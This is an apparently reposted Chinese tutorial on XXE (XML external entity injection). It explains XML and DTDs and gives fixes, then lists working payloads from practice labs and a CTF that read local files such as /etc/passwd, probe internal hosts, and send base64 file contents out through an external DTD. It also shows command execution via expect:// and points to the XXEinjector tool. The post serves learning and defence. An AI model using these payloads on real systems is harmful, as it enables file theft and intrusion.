WEB漏洞 XML & XXE漏洞

Posted 阿杰谈技术

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB漏洞 XML & XXE漏洞相关的知识,希望对你有一定的参考价值。



XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从html分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。


XML 与 HTML 的主要差异XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息 ,而 XML 旨在传输信息。
<!--XML声明--><?xml version="1.0"?> <!--文档类型定义--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->]]]><!--文档元素--><note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body></note>
#DTD文档类型定义(DTD)可定义合法的XML文档构建模块它使用一系列合法的元素来定义文档的结构DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用(1)内部的 DOCTYPE 声明<!DOCTYPE 根元素 [元素声明]>(2)外部文档声明<!DOCTYPE 根元素 SYSTEM ”文件名”>
#DTD实体(1)内部实体声明<!ENTITY 实体名称 ”实体的值”>(2)外部实体声明<!ENTITY 实体名称 SYSTEMURI”>(3)参数实体声明<!ENTITY %实体名称 ”实体的值”><!ENTITY %实体名称 SYSTEMURI”>
#xxe漏洞修复与防御方案-php,java,python-过滤及禁用#方案1-禁用外部实体PHP:libxml_disable_entity_loader(true);
JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#方案2-过滤用户提交的XML数据过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC




  • pikachu靶场xml数据传输测试-回显,玩法,协议,引入

WEB漏洞 XML & XXE漏洞

#玩法-读文件<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///f://payload.txt">]><x>&xxe;</x>

WEB漏洞 XML & XXE漏洞



#玩法-内网探针或攻击内网应用(触发漏洞地址)<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY rabbit SYSTEM "http://192.168.18.74/index.txt" >]><x>&rabbit;</x>

WEB漏洞 XML & XXE漏洞


#引入外部实体dtd<?xml version="1.0" ?><!DOCTYPE test [ <!ENTITY % file SYSTEM "http://192.168.18.74/evil2.dtd"> %file;]><x>&send;</x>evil2.dtd:<!ENTITY send SYSTEM "file:///f://payload.txt">

WEB漏洞 XML & XXE漏洞

#无回显-读取文件<?xml version="1.0"?><!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"><!ENTITY % dtd SYSTEM "http://192.168.18.74/test.dtd">%dtd;%send;]>
test.dtd:<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.18.74/?data=%file;'>"> %payload;
#协议-读文件(绕过)参考:https://www.cnblogs.com/20175211lyz/p/11413335.html<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <x>&f;</x>
#玩法-RCECASE是在安装expect扩展的PHP环境里执行系统命令<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" >]><x>&xxe;</x>



  • xxe-lab靶场登陆框xml数据传输测试-检测发现


burp抓包 分析数据包   可判断的类型为xml


1.提交的数据包含XML格式如:<forgot><username>admin</username></forgot>2.请求头中如:Content-Type:text/xml或Content-type:application/xml


WEB漏洞 XML & XXE漏洞

注入代码

WEB漏洞 XML & XXE漏洞




  • CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/更改请求数据格式:application/xml<?xml version = "1.0"?><!DOCTYPE ANY [    <!ENTITY f SYSTEM "file:///etc/passwd">]><x>&f;</x>


WEB漏洞 XML & XXE漏洞





  • xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)



https://github.com/enjoiz/XXEinjector


git clone https://github.com/enjoiz/XXEinjector.git





参考链接:

https://cnblogs.com/bmjoker/p/9614990.html



以上是关于WEB漏洞 XML & XXE漏洞的主要内容,如果未能解决你的问题,请参考以下文章

[Web安全] XXE漏洞攻防学习(上)

XXE漏洞利用技巧:从XML到远程代码执行

XXE漏洞简介以及Payload收集

09.27安全帮®每日资讯:思科互联网操作系统发现执行任意代码高危漏洞;WebSphere XML外部实体注入(XXE)漏洞

[WEB安全]XXE漏洞总结

XXE漏洞中DOCTYPEENTITY傻傻分不清-WEB安全基础入门—XML外部实体注入(XXE)